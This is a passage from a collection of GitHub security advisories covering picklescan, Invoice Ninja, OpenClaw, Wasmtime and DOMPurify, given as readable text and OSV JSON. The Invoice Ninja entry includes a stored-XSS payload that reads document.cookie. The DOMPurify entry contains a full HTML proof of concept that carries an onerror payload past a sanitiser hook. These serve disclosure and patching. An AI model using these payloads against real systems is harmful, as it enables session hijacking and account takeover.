Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
"id": "GHSA-97f8-7cmv-76j2",
"modified": "2026-06-18T14:43:46Z",
"published": "2026-02-18T17:45:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER"
}
GHSA-98WM-CXPW-847P
Vulnerability from github – Published: 2026-03-24 20:40 – Updated: 2026-03-27 21:34Vulnerability Details
Invoice line item descriptions in Invoice Ninja v5.13.0 bypass the XSS denylist filter, allowing stored XSS payloads to execute when invoices are rendered in the PDF preview or client portal.
The line item description field was not passed through purify::clean() before rendering.
Steps to Reproduce
- Login as any authenticated user
- Create or edit an invoice
- In a line item description, enter:
<img src=x onerror=alert(document.cookie)> - Save the invoice and preview it
- The XSS payload executes in the browser
Impact
- Attacker: Any authenticated user who can create invoices
- Victim: Any user viewing the invoice (including clients via the portal)
- Specific damage: Session hijacking, account takeover, data exfiltration
Proposed Fix
Fixed in v5.13.4 by the vendor by adding purify::clean() to sanitize line item descriptions.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "invoiceninja/invoiceninja"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33628"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-184",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T20:40:16Z",
"nvd_published_at": "2026-03-26T21:17:07Z",
"severity": "MODERATE"
},
"details": "## Vulnerability Details\n\nInvoice line item descriptions in Invoice Ninja v5.13.0 bypass the XSS denylist filter, allowing stored XSS payloads to execute when invoices are rendered in the PDF preview or client portal.\n\nThe line item description field was not passed through `purify::clean()` before rendering.\n\n## Steps to Reproduce\n\n1. Login as any authenticated user\n2. Create or edit an invoice\n3. In a line item description, enter: `\u003cimg src=x onerror=alert(document.cookie)\u003e`\n4. Save the invoice and preview it\n5. The XSS payload executes in the browser\n\n## Impact\n\n- **Attacker**: Any authenticated user who can create invoices\n- **Victim**: Any user viewing the invoice (including clients via the portal)\n- **Specific damage**: Session hijacking, account takeover, data exfiltration\n\n## Proposed Fix\n\nFixed in v5.13.4 by the vendor by adding `purify::clean()` to sanitize line item descriptions.",
"id": "GHSA-98wm-cxpw-847p",
"modified": "2026-03-27T21:34:58Z",
"published": "2026-03-24T20:40:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/invoiceninja/invoiceninja/security/advisories/GHSA-98wm-cxpw-847p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33628"
},
{
"type": "WEB",
"url": "https://github.com/invoiceninja/invoiceninja/commit/b81a3fc302573fc4a53d61e8537dd19154ce1091"
},
{
"type": "PACKAGE",
"url": "https://github.com/invoiceninja/invoiceninja"
},
{
"type": "WEB",
"url": "https://github.com/invoiceninja/invoiceninja/releases/tag/v5.13.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Invoice Ninja Denylist Bypass may Lead to Stored XSS via Invoice Line Items"
}
GHSA-9R9J-3R2W-FG3V
Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-11 16:13Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-hxvm-xjvf-93f3. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.4.20 fails to properly reserve the OPENCLAW_ runtime-control environment namespace in workspace dotenv files, allowing attackers to override critical runtime variables. Malicious workspaces can set variables like OPENCLAW_GIT_DIR to manipulate trusted OpenClaw runtime behavior during source-update or installer flows.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T16:13:28Z",
"nvd_published_at": "2026-05-06T20:16:35Z",
"severity": "HIGH"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hxvm-xjvf-93f3. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.20 fails to properly reserve the OPENCLAW_ runtime-control environment namespace in workspace dotenv files, allowing attackers to override critical runtime variables. Malicious workspaces can set variables like OPENCLAW_GIT_DIR to manipulate trusted OpenClaw runtime behavior during source-update or installer flows.",
"id": "GHSA-9r9j-3r2w-fg3v",
"modified": "2026-05-11T16:13:28Z",
"published": "2026-05-06T21:31:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-hxvm-xjvf-93f3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44114"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/018494fa3ebb9145112e68b56fe1cb2e9f9a9ed6"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-environment-variable-namespace-collision-via-workspace-dotenv"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: Workspace dotenv could override runtime-control environment variables",
"withdrawn": "2026-05-11T16:13:28Z"
}
GHSA-C226-Q6FX-6J6C
Vulnerability from github – Published: 2026-06-18 14:52 – Updated: 2026-06-18 14:52Summary
macOS Swift exec allowlist missed combined POSIX inline flags. In affected versions, a command request using combined POSIX inline-command flags could miss inline-command content expressed through combined flags.
This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.
Impact
When the affected feature is enabled and reachable, this could run shell content outside the intended allowlist check. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.
Patched Versions
The first stable patched version is 2026.5.6.
Mitigations
require approval for combined shell flag forms on macOS until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.5.5"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53861"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:52:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nmacOS Swift exec allowlist missed combined POSIX inline flags. In affected versions, a command request using combined POSIX inline-command flags could miss inline-command content expressed through combined flags.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could run shell content outside the intended allowlist check. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.6`.\n\n### Mitigations\n\nrequire approval for combined shell flag forms on macOS until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
"id": "GHSA-c226-q6fx-6j6c",
"modified": "2026-06-18T14:52:24Z",
"published": "2026-06-18T14:52:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-c226-q6fx-6j6c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53861"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-allowlist-bypass-via-combined-posix-inline-flags-on-macos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw: macOS Swift exec allowlist missed combined POSIX inline flags"
}
GHSA-C2F5-JXJV-2HH8
Vulnerability from github – Published: 2024-11-05 22:18 – Updated: 2025-05-02 12:53Impact
Wasmtime's filesystem sandbox implementation on Windows blocks access to special device filenames such as "COM1", "COM2", "LPT0", "LPT1", and so on, however it did not block access to the special device filenames which use superscript digits, such as "COM¹", "COM²", "LPT⁰", "LPT¹", and so on. Untrusted Wasm programs that are given access to any filesystem directory could bypass the sandbox and access devices through those special device filenames with superscript digits, and through them gain access peripheral devices connected to the computer, or network resources mapped to those devices. This can include modems, printers, network printers, and any other device connected to a serial or parallel port, including emulated USB serial ports.
Patches
Patch releases for Wasmtime have been issued as 24.0.2, 25.0.3, and 26.0.1. Users of Wasmtime 23.0.x and prior are recommended to upgrade to one of these patched versions.
Workarounds
There are no known workarounds for this issue. Affected Windows users are recommended to upgrade.
References
- Microsoft's documentation of the special device filenames
- ISO-8859-1
- The original PR reporting the issue
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "wasmtime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "24.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "wasmtime"
},
"ranges": [
{
"events": [
{
"introduced": "25.0.0"
},
{
"fixed": "25.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "wasmtime"
},
"ranges": [
{
"events": [
{
"introduced": "26.0.0"
},
{
"fixed": "26.0.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"26.0.0"
]
}
],
"aliases": [
"CVE-2024-51745"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-67"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-05T22:18:49Z",
"nvd_published_at": "2024-11-05T22:15:21Z",
"severity": "LOW"
},
"details": "### Impact\n\nWasmtime\u0027s filesystem sandbox implementation on Windows blocks access to special device filenames such as \"COM1\", \"COM2\", \"LPT0\", \"LPT1\", and so on, however it did not block access to the special device filenames which use superscript digits, such as \"COM\u00b9\", \"COM\u00b2\", \"LPT\u2070\", \"LPT\u00b9\", and so on. Untrusted Wasm programs that are given access to any filesystem directory could bypass the sandbox and access devices through those special device filenames with superscript digits, and through them gain access peripheral devices connected to the computer, or network resources mapped to those devices. This can include modems, printers, network printers, and any other device connected to a serial or parallel port, including emulated USB serial ports.\n\n### Patches\n\nPatch releases for Wasmtime have been issued as 24.0.2, 25.0.3, and 26.0.1. Users of Wasmtime 23.0.x and prior are recommended to upgrade to one of these patched versions.\n\n### Workarounds\n\nThere are no known workarounds for this issue. Affected Windows users are recommended to upgrade.\n\n### References\n\n - [Microsoft\u0027s documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file#naming-conventions) of the special device filenames\n - [ISO-8859-1](https://en.wikipedia.org/wiki/ISO/IEC_8859-1)\n - [The original PR reporting the issue](https://github.com/bytecodealliance/cap-std/pull/371)",
"id": "GHSA-c2f5-jxjv-2hh8",
"modified": "2025-05-02T12:53:57Z",
"published": "2024-11-05T22:18:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-c2f5-jxjv-2hh8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51745"
},
{
"type": "WEB",
"url": "https://github.com/bytecodealliance/cap-std/pull/371"
},
{
"type": "WEB",
"url": "https://en.wikipedia.org/wiki/ISO/IEC_8859-1"
},
{
"type": "PACKAGE",
"url": "https://github.com/bytecodealliance/wasmtime"
},
{
"type": "WEB",
"url": "https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file#naming-conventions"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0438.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Wasmtime doesn\u0027t fully sandbox all the Windows device filenames"
}
GHSA-C2J3-45GR-MQC4
Vulnerability from github – Published: 2026-07-21 19:41 – Updated: 2026-07-21 19:41Summary
There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.
When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.
This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.
Details
The issue appears to originate from the control flow in src/purify.ts: line 1672~1691
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748
const customElementHandling =
objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
cfg.CUSTOM_ELEMENT_HANDLING &&
typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
? clone(cfg.CUSTOM_ELEMENT_HANDLING)
: create(null);
CUSTOM_ELEMENT_HANDLING = create(null);
In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.
During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814
/* Remove element if anything forbids its presence */
if (
FORBID_TAGS[tagName] ||
(!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
) &&
!ALLOWED_TAGS[tagName])
) {
return _sanitizeDisallowedNode(currentNode, tagName);
}
If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.
Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.
That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:
- the namespace validation at
src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
nodeType getter rather than `instanceof Element`, which is realm-
bound and short-circuits to false for any node minted in a different
realm — letting a foreign-realm element with a forbidden namespace
slip past the namespace check entirely. */
const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
_forceRemove(currentNode);
return true;
}
- the fallback-tag mXSS check at
src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
if (
(tagName === 'noscript' ||
tagName === 'noembed' ||
tagName === 'noframes') &&
regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
) {
_forceRemove(currentNode);
return true;
}
- most importantly for this report, the
afterSanitizeElementshook dispatch atsrc/purify.ts: line 1850~1851.
/* Execute a hook if present */
_executeHooks(hooks.afterSanitizeElements, currentNode, null);
In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.
In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.
PoC
Reproduced on DOMPurify 3.4.11.
Steps
- Save the following HTML to a file, for example
poc.html. - Open it in a browser.
- Observe that the
divcontrol losesdata-bio, while the allowed custom element keeps it. - Observe that after
connectedCallback()runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.
HTML PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>
<script>
window.__controlFired = false;
window.__candidateFired = false;
customElements.define("x-bio", class extends HTMLElement {
connectedCallback() {
const bio = this.getAttribute("data-bio");
if (bio) this.innerHTML = bio;
}
});
DOMPurify.addHook("afterSanitizeElements", node => {
if (node.hasAttribute && node.hasAttribute("data-bio")) {
node.removeAttribute("data-bio");
}
});
const config = {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^x-/
}
};
const controlInput =
'<div data-bio="<img src=x onerror=window.__controlFired=true>"></div>';
const candidateInput =
'<x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>';
const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);
const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);
setTimeout(() => {
document.getElementById("result").textContent =
"This is not direct DOMPurify XSS.\n" +
"The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
"control: " + cleanControl + "\n" +
"candidate: " + cleanCandidate + "\n" +
"after connectedCallback: " + container.innerHTML + "\n" +
"control fired: " + window.__controlFired + "\n" +
"candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
Expected result
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true
This is output of HTML PoC.
Impact
This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.
The impact is limited to applications that:
- enable
CUSTOM_ELEMENT_HANDLING, - rely on
afterSanitizeElementsas a security policy layer, - expect that hook to apply uniformly to all surviving elements,
- and have allowed custom elements that later re-inject preserved attribute values into
innerHTMLor another HTML sink.
In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.
Possible fixes or mitigations might include
- ensuring that allowed custom elements also consistently pass through
afterSanitizeElements - documenting clearly that elements preserved via
CUSTOM_ELEMENT_HANDLINGmay not participate in the same post-element hook flow as normal allowlisted elements.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.11"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:41:07Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nThere is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`.\n\nWhen a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.\n\nThis does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget.\n\n## Details\n\nThe issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n currentNode: any,\n tagName: string\n ): boolean {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n ) {\n return false;\n }\n\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n ) {\n return false;\n }\n }\n```\n\n`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748\n\n```tsx\nconst customElementHandling =\n objectHasOwnProperty(cfg, \u0027CUSTOM_ELEMENT_HANDLING\u0027) \u0026\u0026\n cfg.CUSTOM_ELEMENT_HANDLING \u0026\u0026\n typeof cfg.CUSTOM_ELEMENT_HANDLING === \u0027object\u0027\n ? clone(cfg.CUSTOM_ELEMENT_HANDLING)\n : create(null);\n\n CUSTOM_ELEMENT_HANDLING = create(null);\n```\n\nIn particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there.\n\nDuring element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814\n\n```tsx\n/* Remove element if anything forbids its presence */\n if (\n FORBID_TAGS[tagName] ||\n (!(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName)\n ) \u0026\u0026\n !ALLOWED_TAGS[tagName])\n ) {\n return _sanitizeDisallowedNode(currentNode, tagName);\n }\n```\n\nIf so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result.\n\nInside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n currentNode: any,\n tagName: string\n ): boolean {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n ) {\n return false;\n }\n\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n ) {\n return false;\n }\n }\n```\n\nIf the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning \u201cdo not remove this node\u201d.\n\nThat early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including:\n\n- the namespace validation at `src/purify.ts`: line 1816~1826\n\n```tsx\n* Check whether element has a valid namespace.\n Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype\n nodeType getter rather than `instanceof Element`, which is realm-\n bound and short-circuits to false for any node minted in a different\n realm \u2014 letting a foreign-realm element with a forbidden namespace\n slip past the namespace check entirely. */\n const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;\n if (nt === NODE_TYPE.element \u0026\u0026 !_checkValidNamespace(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n```\n\n- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837\n\n```tsx\n/* Make sure that older browsers don\u0027t get fallback-tag mXSS */\n if (\n (tagName === \u0027noscript\u0027 ||\n tagName === \u0027noembed\u0027 ||\n tagName === \u0027noframes\u0027) \u0026\u0026\n regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)\n ) {\n _forceRemove(currentNode);\n return true;\n }\n```\n\n- most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851.\n\n```tsx\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n```\n\nIn other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`.\n\nIn the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `\u003cx-bio\u003e` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget.\n\n## PoC\n\nReproduced on DOMPurify 3.4.11.\n\n### Steps\n\n1. Save the following HTML to a file, for example `poc.html`.\n2. Open it in a browser.\n3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it.\n4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element\u2019s own sink.\n\n### HTML PoC\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre id=\"result\"\u003e\u003c/pre\u003e\n\n\u003cscript\u003e\nwindow.__controlFired = false;\nwindow.__candidateFired = false;\n\ncustomElements.define(\"x-bio\", class extends HTMLElement {\n connectedCallback() {\n const bio = this.getAttribute(\"data-bio\");\n if (bio) this.innerHTML = bio;\n }\n});\n\nDOMPurify.addHook(\"afterSanitizeElements\", node =\u003e {\n if (node.hasAttribute \u0026\u0026 node.hasAttribute(\"data-bio\")) {\n node.removeAttribute(\"data-bio\");\n }\n});\n\nconst config = {\n CUSTOM_ELEMENT_HANDLING: {\n tagNameCheck: /^x-/\n }\n};\n\nconst controlInput =\n \u0027\u003cdiv data-bio=\"\u0026lt;img src=x onerror=window.__controlFired=true\u0026gt;\"\u003e\u003c/div\u003e\u0027;\n\nconst candidateInput =\n \u0027\u003cx-bio data-bio=\"\u0026lt;img src=x onerror=window.__candidateFired=true\u0026gt;\"\u003e\u003c/x-bio\u003e\u0027;\n\nconst cleanControl = DOMPurify.sanitize(controlInput, config);\nconst cleanCandidate = DOMPurify.sanitize(candidateInput, config);\n\nconst container = document.createElement(\"div\");\ncontainer.innerHTML = cleanCandidate;\ndocument.body.appendChild(container);\n\nsetTimeout(() =\u003e {\n document.getElementById(\"result\").textContent =\n \"This is not direct DOMPurify XSS.\\n\" +\n \"The payload 